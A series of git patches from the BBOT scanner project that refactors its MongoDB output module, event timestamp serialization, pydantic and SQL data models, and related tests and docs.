"timestamp"] + test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ "host", @@ -20,18 +22,22 @@ def test_pydantic_models(events): "uuid", ] - # events + # convert events to pydantic and back, making sure they're exactly the same for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) - event_pydantic_dict = event_pydantic.to_json() - event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + event_pydantic_dict = event_pydantic.model_dump() + event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) + assert isinstance(event_json["timestamp"], str) + assert isinstance(e.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, datetime) + assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], str) assert isinstance(event_pydantic_dict["inserted_at"], str) assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json # TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 10a8655e81..839e46156e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,21 +1,58 @@ +import time +import asyncio + from .base import ModuleTestBase class TestMongo(ModuleTestBase): test_db_name = "bbot_test" - test_collection_name = "events_test" - config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + test_collection_prefix = "test_" + config_overrides = { + "modules": { + "mongo": { + "database": test_db_name, + "username": "bbot", + "password": "bbotislife", + "collection_prefix": test_collection_prefix, + } + } + } + + async def setup_before_prep(self, module_test): + + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-mongo", + "--rm", + "-e", + "MONGO_INITDB_ROOT_USERNAME=bbot", + "-e", + "MONGO_INITDB_ROOT_PASSWORD=bbotislife", + "-p", + "27017:27017", + "-d", + "mongo", + ) - async def setup_before_module(self): from motor.motor_asyncio import AsyncIOMotorClient - # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") - db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + # Connect to the MongoDB collection with retry logic + while True: + try: + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + db = client[self.test_db_name] + events_collection = db.get_collection(self.test_collection_prefix + "events") + # Attempt a simple operation to confirm the connection + await events_collection.count_documents({}) + break # Exit the loop if connection is successful + except Exception as e: + print(f"Connection failed: {e}. Retrying in 5 seconds...") + time.sleep(0.5) # Check that there are no events in the collection - count = await collection.count_documents({}) + count = await events_collection.count_documents({}) assert count == 0, "There are existing events in the database" # Close the MongoDB connection @@ -30,20 +67,30 @@ async def check(self, module_test, events): events_json.sort(key=lambda x: x["timestamp"]) # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + events_collection = db.get_collection(self.test_collection_prefix + "events") # make sure the collection has all the right indexes - cursor = collection.list_indexes() + cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" # Fetch all events from the collection - cursor = collection.find({}) + cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + # we currently don't store timestamps as datetime objects because mongodb has lower precision + # assert isinstance(db_event["timestamp"], datetime) + # assert isinstance(db_event["inserted_at"], datetime) + assert isinstance(db_event["timestamp"], str) + assert isinstance(db_event["inserted_at"], str) + # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] db_events_pydantic.sort(key=lambda x: x["timestamp"]) @@ -65,17 +112,19 @@ async def check(self, module_test, events): main_event.get("reverse_host") == expected_reverse_host ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" - # Compare the sorted lists - assert len(events_json) == len(db_events_pydantic) - # Events don't match exactly because the mongo ones have reverse_host + # Events don't match exactly because the mongo ones have reverse_host and inserted_at assert events_json != db_events_pydantic for db_event in db_events_pydantic: db_event.pop("reverse_host") + db_event.pop("inserted_at") # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" finally: # Clean up: Delete all documents in the collection - await collection.delete_many({}) + await events_collection.delete_many({}) # Close the MongoDB connection client.close() + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From 23598a3e2d096204e14efb3bb0c02943cc486492 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 20 Nov 2024 11:54:12 -0500 Subject: [PATCH 006/912] skip distro tests --- bbot/test/test_step_2/module_tests/test_module_mongo.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 839e46156e..31e7f70747 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -17,6 +17,7 @@ class TestMongo(ModuleTestBase): } } } + skip_distro_tests = True async def setup_before_prep(self, module_test): @@ -48,7 +49,7 @@ async def setup_before_prep(self, module_test): await events_collection.count_documents({}) break # Exit the loop if connection is successful except Exception as e: - print(f"Connection failed: {e}. Retrying in 5 seconds...") + print(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Check that there are no events in the collection From 9af4583ef573613733caf25e4c4a7195f47299ae Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 10:35:12 -0500 Subject: [PATCH 007/912] more wip mongo --- bbot/core/event/base.py | 8 ++++++-- bbot/models/pydantic.py | 10 +++++----- bbot/modules/output/mongo.py | 20 ++++++++++---------- bbot/test/bbot_fixtures.py | 14 +++++++------- bbot/test/test_step_1/test_db_models.py | 9 +++------ bbot/test/test_step_1/test_events.py | 6 +++--- 6 files changed, 34 insertions(+), 33 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 6b1176af65..53e2c62236 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -803,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1773,7 +1773,11 @@ def event_from_json(j, siem_friendly=False): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = set(resolved_hosts) - event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) + # accept both isoformat and unix timestamp + try: + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + except Exception: + event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] parent_id = j.get("parent", None) if parent_id is not None: diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 906801693a..388d85f05f 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -11,12 +11,12 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, preserve_datetime=False, **kwargs): + def model_dump(self, **kwargs): ret = super().model_dump(**kwargs) - if not preserve_datetime: - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].isoformat() + # convert datetime fields to unix timestamps + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].timestamp() return ret def __hash__(self): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bc323d7ad9..03185b169c 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -61,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - # if event.type == "SCAN": - # scan_json = Scan.from_event(event).model_dump() - # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - # if existing_scan: - # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - # else: - # # Insert as a new scan if no existing scan is found - # await self.scans_collection.insert_one(event_pydantic.model_dump()) - # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + if event.type == "SCAN": + scan_json = Scan.from_event(event).model_dump() + existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + if existing_scan: + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 4d73d036c1..229c58a290 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -@pytest.fixture(scope="session", autouse=True) -def install_all_python_deps(): - deps_pip = set() - for module in DEFAULT_PRESET.module_loader.preloaded().values(): - deps_pip.update(set(module.get("deps", {}).get("pip", []))) +# @pytest.fixture(scope="session", autouse=True) +# def install_all_python_deps(): +# deps_pip = set() +# for module in DEFAULT_PRESET.module_loader.preloaded().values(): +# deps_pip.update(set(module.get("deps", {}).get("pip", []))) - constraint_file = tempwordlist(get_python_constraints()) +# constraint_file = tempwordlist(get_python_constraints()) - subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) +# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 5a6fce547c..d29e7e79a8 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -28,15 +28,12 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) - assert isinstance(event_json["timestamp"], str) + assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json - assert isinstance(event_pydantic_dict["timestamp"], str) - assert isinstance(event_pydantic_dict["inserted_at"], str) - assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) - assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) + assert isinstance(event_pydantic_dict["timestamp"], float) + assert isinstance(event_pydantic_dict["inserted_at"], float) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 8156fc7969..5c6dedad8a 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.isoformat() + timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) @@ -515,7 +515,7 @@ async def test_events(events, helpers): assert reconstituted_event.uuid == db_event.uuid assert reconstituted_event.parent_uuid == scan.root_event.uuid assert reconstituted_event.scope_distance == 1 - assert reconstituted_event.timestamp.isoformat() == timestamp + assert reconstituted_event.timestamp.timestamp() == timestamp assert reconstituted_event.data == "evilcorp.com:80" assert reconstituted_event.type == "OPEN_TCP_PORT" assert reconstituted_event.host == "evilcorp.com" @@ -538,7 +538,7 @@ async def test_events(events, helpers): assert json_event_siemfriendly["timestamp"] == timestamp reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.isoformat() == timestamp + assert reconstituted_event2.timestamp.timestamp() == timestamp assert reconstituted_event2.data == "evilcorp.com:80" assert reconstituted_event2.type == "OPEN_TCP_PORT" assert reconstituted_event2.host == "evilcorp.com" From e4e1c99f312530a13b46463228adeeb55a0d8706 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 19:14:15 -0500 Subject: [PATCH 008/912] remove siem_friendly --- bbot/core/event/base.py | 18 +++++++--------- bbot/models/pydantic.py | 14 ++++++++----- bbot/models/sql.py | 21 +++++++------------ bbot/modules/output/http.py | 5 +---- bbot/modules/output/json.py | 6 ++---- bbot/modules/output/mongo.py | 8 +++++++ bbot/test/test_step_1/test_events.py | 21 +++++-------------- .../module_tests/test_module_http.py | 9 -------- .../module_tests/test_module_json.py | 15 ------------- .../module_tests/test_module_mongo.py | 20 +++++++++++++----- docs/scanning/tips_and_tricks.md | 18 ---------------- 11 files changed, 55 insertions(+), 100 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 53e2c62236..29f10190e2 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -756,7 +756,7 @@ def __contains__(self, other): return bool(radixtarget.search(other.host)) return False - def json(self, mode="json", siem_friendly=False): + def json(self, mode="json"): """ Serializes the event object to a JSON-compatible dictionary. @@ -765,7 +765,6 @@ def json(self, mode="json", siem_friendly=False): Parameters: mode (str): Specifies the data serialization mode. Default is "json". Other options include "graph", "human", and "id". - siem_friendly (bool): Whether to format the JSON in a way that's friendly to SIEM ingestion by Elastic, Splunk, etc. This ensures the value of "data" is always the same type (a dictionary). Returns: dict: JSON-serializable dictionary representation of the event object. @@ -782,10 +781,12 @@ def json(self, mode="json", siem_friendly=False): data = data_attr else: data = smart_decode(self.data) - if siem_friendly: - j["data"] = {self.type: data} - else: + if isinstance(data, str): j["data"] = data + elif isinstance(data, dict): + j["data_json"] = data + else: + raise ValueError(f"Invalid data type: {type(data)}") # host, dns children if self.host: j["host"] = str(self.host) @@ -1728,7 +1729,7 @@ def make_event( ) -def event_from_json(j, siem_friendly=False): +def event_from_json(j): """ Creates an event object from a JSON dictionary. @@ -1760,10 +1761,7 @@ def event_from_json(j, siem_friendly=False): "context": j.get("discovery_context", None), "dummy": True, } - if siem_friendly: - data = j["data"][event_type] - else: - data = j["data"] + data = j.get("data_json", j.get("data", None)) kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 388d85f05f..0591a93515 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -57,13 +57,13 @@ def _datetime_fields(cls): ### EVENT ### - class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] type: Annotated[str, "indexed"] scope_description: str - data: Union[dict, str] + data: Annotated[Optional[str], "indexed"] = None + data_json: Optional[dict] = None host: Annotated[Optional[str], "indexed"] = None port: Optional[int] = None netloc: Optional[str] = None @@ -75,8 +75,8 @@ class Event(BBOTBaseModel): web_spider_distance: int = 10 scope_distance: int = 10 scan: Annotated[str, "indexed"] - timestamp: Annotated[NaiveUTC, "indexed"] - inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) + timestamp: Annotated[float, "indexed"] + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -91,9 +91,13 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] + def get_data(self): + if self.data is not None: + return self.data + return self.data_json -### SCAN ### +### SCAN ### class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index e937fad1e6..2640e3ca81 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -67,25 +67,19 @@ def __eq__(self, other): ### EVENT ### - class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - data = self._get_data(self.data, self.type) - self.data = {self.type: data} + if self.data is None and self.data_json is None: + raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] def get_data(self): - return self._get_data(self.data, self.type) - - @staticmethod - def _get_data(data, type): - # handle SIEM-friendly format - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data + if self.data is not None: + return self.data + return self.data_json uuid: str = Field( primary_key=True, @@ -95,7 +89,8 @@ def _get_data(data, type): id: str = Field(index=True) type: str = Field(index=True) scope_description: str - data: dict = Field(sa_type=JSON) + data: Optional[str] = Field(default=None, index=True) + data_json: Optional[dict] = Field(default=None) host: Optional[str] port: Optional[int] netloc: Optional[str] @@ -119,7 +114,6 @@ def _get_data(data, type): ### SCAN ### - class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -134,7 +128,6 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### - class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 9d9241da0b..7d94148d72 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -15,7 +15,6 @@ class HTTP(BaseOutputModule): "username": "", "password": "", "timeout": 10, - "siem_friendly": False, } options_desc = { "url": "Web URL", @@ -24,14 +23,12 @@ class HTTP(BaseOutputModule): "username": "Username (basic auth)", "password": "Password (basic auth)", "timeout": "HTTP timeout", - "siem_friendly": "Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.", } async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.siem_friendly = self.config.get("siem_friendly", False) self.headers = {} bearer = self.config.get("bearer", "") if bearer: @@ -56,7 +53,7 @@ async def handle_event(self, event): method=self.method, auth=self.auth, headers=self.headers, - json=event.json(siem_friendly=self.siem_friendly), + json=event.json(), ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index a35fa6aed7..b93d1e4e3f 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -11,20 +11,18 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } - options = {"output_file": "", "siem_friendly": False} + options = {"output_file": ""} options_desc = { "output_file": "Output to file", - "siem_friendly": "Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.", } _preserve_graph = True async def setup(self): self._prep_output_dir("output.json") - self.siem_friendly = self.config.get("siem_friendly", False) return True async def handle_event(self, event): - event_json = event.json(siem_friendly=self.siem_friendly) + event_json = event.json() event_str = json.dumps(event_json) if self.file is not None: self.file.write(event_str + "\n") diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 03185b169c..5e555ab0ff 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -71,3 +71,11 @@ async def handle_event(self, event): # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + target_data = scan_json.get("target", {}) + target = Target(**target_data) + existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + if existing_target: + await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + else: + await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5c6dedad8a..a940dbce06 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -529,28 +529,17 @@ async def test_events(events, helpers): assert hostless_event_json["data"] == "asdf" assert not "host" in hostless_event_json - # SIEM-friendly serialize/deserialize - json_event_siemfriendly = db_event.json(siem_friendly=True) - assert json_event_siemfriendly["scope_distance"] == 1 - assert json_event_siemfriendly["data"] == {"OPEN_TCP_PORT": "evilcorp.com:80"} - assert json_event_siemfriendly["type"] == "OPEN_TCP_PORT" - assert json_event_siemfriendly["host"] == "evilcorp.com" - assert json_event_siemfriendly["timestamp"] == timestamp - reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) - assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.timestamp() == timestamp - assert reconstituted_event2.data == "evilcorp.com:80" - assert reconstituted_event2.type == "OPEN_TCP_PORT" - assert reconstituted_event2.host == "evilcorp.com" - assert "127.0.0.1" in reconstituted_event2.resolved_hosts - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) assert http_response.parent_id == scan.root_event.id assert http_response.data["input"] == "http://example.com:80" json_event = http_response.json(mode="graph") + assert "data" in json_event + assert "data_json" not in json_event assert isinstance(json_event["data"], str) json_event = http_response.json() - assert isinstance(json_event["data"], dict) + assert "data" not in json_event + assert "data_json" in json_event + assert isinstance(json_event["data_json"], dict) assert json_event["type"] == "HTTP_RESPONSE" assert json_event["host"] == "example.com" assert json_event["parent"] == scan.root_event.id diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index 43b7189adf..d634765425 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -52,12 +52,3 @@ def check(self, module_test, events): assert self.headers_correct == True assert self.method_correct == True assert self.url_correct == True - - -class TestHTTPSIEMFriendly(TestHTTP): - modules_overrides = ["http"] - config_overrides = {"modules": {"http": dict(TestHTTP.config_overrides["modules"]["http"])}} - config_overrides["modules"]["http"]["siem_friendly"] = True - - def verify_data(self, j): - return j["data"] == {"DNS_NAME": "blacklanternsecurity.com"} and j["type"] == "DNS_NAME" diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 27ed5a55e0..bf79eeb13f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -53,18 +53,3 @@ def check(self, module_test, events): assert dns_reconstructed.discovery_context == context_data assert dns_reconstructed.discovery_path == [context_data] assert dns_reconstructed.parent_chain == [dns_json["uuid"]] - - -class TestJSONSIEMFriendly(ModuleTestBase): - modules_overrides = ["json"] - config_overrides = {"modules": {"json": {"siem_friendly": True}}} - - def check(self, module_test, events): - txt_file = module_test.scan.home / "output.json" - lines = list(module_test.scan.helpers.read_file(txt_file)) - passed = False - for line in lines: - e = json.loads(line) - if e["data"] == {"DNS_NAME": "blacklanternsecurity.com"}: - passed = True - assert passed diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 31e7f70747..fcfed7841a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -72,12 +72,16 @@ async def check(self, module_test, events): db = client[self.test_db_name] events_collection = db.get_collection(self.test_collection_prefix + "events") + ### INDEXES ### + # make sure the collection has all the right indexes cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + ### EVENTS ### + # Fetch all events from the collection cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) @@ -86,11 +90,8 @@ async def check(self, module_test, events): assert len(events_json) == len(db_events) for db_event in db_events: - # we currently don't store timestamps as datetime objects because mongodb has lower precision - # assert isinstance(db_event["timestamp"], datetime) - # assert isinstance(db_event["inserted_at"], datetime) - assert isinstance(db_event["timestamp"], str) - assert isinstance(db_event["inserted_at"], str) + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] @@ -121,6 +122,15 @@ async def check(self, module_test, events): # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" + ### SCANS ### + + # Fetch all scans from the collection + cursor = db.get_collection(self.test_collection_prefix + "scans").find({}) + db_scans = await cursor.to_list(length=None) + assert len(db_scans) == 1, "There should be exactly one scan" + db_scan = db_scans[0] + assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + finally: # Clean up: Delete all documents in the collection await events_collection.delete_many({}) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index c5073c1d63..e13d82875e 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -108,24 +108,6 @@ config: bbot -t evilcorp.com -p skip_cdns.yml ``` -### Ingest BBOT Data Into SIEM (Elastic, Splunk) - -If your goal is to run a BBOT scan and later feed its data into a SIEM such as Elastic, be sure to enable this option when scanning: - -```bash -bbot -t evilcorp.com -c modules.json.siem_friendly=true -``` - -This ensures the `.data` event attribute is always the same type (a dictionary), by nesting it like so: -```json -{ - "type": "DNS_NAME", - "data": { - "DNS_NAME": "blacklanternsecurity.com" - } -} -``` - ### Custom HTTP Proxy Web pentesters may appreciate BBOT's ability to quickly populate Burp Suite site maps for all subdomains in a target. If your scan includes gowitness, this will capture the traffic as if you manually visited each website in your browser -- including auxiliary web resources and javascript API calls. To accomplish this, set the `web.http_proxy` config option like so: From d9a3d9d251bf9af914077ea027f04011dbcde600 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:00:28 -0500 Subject: [PATCH 009/912] steady work on mongo, bbot 3.0 --- bbot/core/event/base.py | 7 +- bbot/models/helpers.py | 20 +++--- bbot/models/pydantic.py | 71 +++++++++---------- bbot/models/sql.py | 27 +++---- bbot/modules/output/mongo.py | 16 ++--- bbot/scanner/scanner.py | 12 ++-- bbot/test/bbot_fixtures.py | 14 ++-- bbot/test/test_step_1/test_db_models.py | 25 ++++++- bbot/test/test_step_1/test_events.py | 2 +- .../module_tests/test_module_mongo.py | 12 +++- .../module_tests/test_module_sqlite.py | 14 ++++ 11 files changed, 128 insertions(+), 92 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 29f10190e2..bd6e884b37 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -12,6 +12,7 @@ from copy import copy from pathlib import Path from typing import Optional +from zoneinfo import ZoneInfo from contextlib import suppress from radixtarget import RadixTarget from urllib.parse import urljoin, parse_qs @@ -40,7 +41,7 @@ validators, get_file_extension, ) -from bbot.models.helpers import naive_datetime_validator +from bbot.models.helpers import utc_datetime_validator log = logging.getLogger("bbot.core.event") @@ -804,7 +805,7 @@ def json(self, mode="json"): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() + j["timestamp"] = utc_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1773,7 +1774,7 @@ def event_from_json(j): # accept both isoformat and unix timestamp try: - event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) except Exception: event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 985c845994..c7fc078a45 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,20 +1,22 @@ +from datetime import UTC from datetime import datetime from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime) -> datetime: +def utc_datetime_validator(d: datetime) -> datetime: """ - Converts all dates into UTC, then drops timezone information. - - This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + Converts all dates into UTC """ - # drop timezone info - return d.replace(tzinfo=None) + if d.tzinfo is not None: + return d.astimezone(UTC) + else: + return d.replace(tzinfo=UTC) -def naive_utc_now() -> datetime: - return naive_datetime_validator(datetime.now()) +def utc_now() -> datetime: + return datetime.now(UTC) -NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] +def utc_now_timestamp() -> datetime: + return utc_now().timestamp() diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0591a93515..356ab2e44c 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,9 +1,8 @@ import logging -from datetime import datetime from pydantic import BaseModel, ConfigDict, Field -from typing import Optional, List, Union, Annotated, get_type_hints +from typing import Optional, List, Union, Annotated -from bbot.models.helpers import NaiveUTC, naive_utc_now +from bbot.models.helpers import utc_now_timestamp log = logging.getLogger("bbot_server.models") @@ -11,14 +10,6 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, **kwargs): - ret = super().model_dump(**kwargs) - # convert datetime fields to unix timestamps - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].timestamp() - return ret - def __hash__(self): return hash(self.to_json()) @@ -29,34 +20,37 @@ def __eq__(self, other): def _indexed_fields(cls): return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) - @classmethod - def _get_type_hints(cls): - """ - Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint - """ - type_hints = get_type_hints(cls) - unwrapped_type_hints = {} - for field_name in 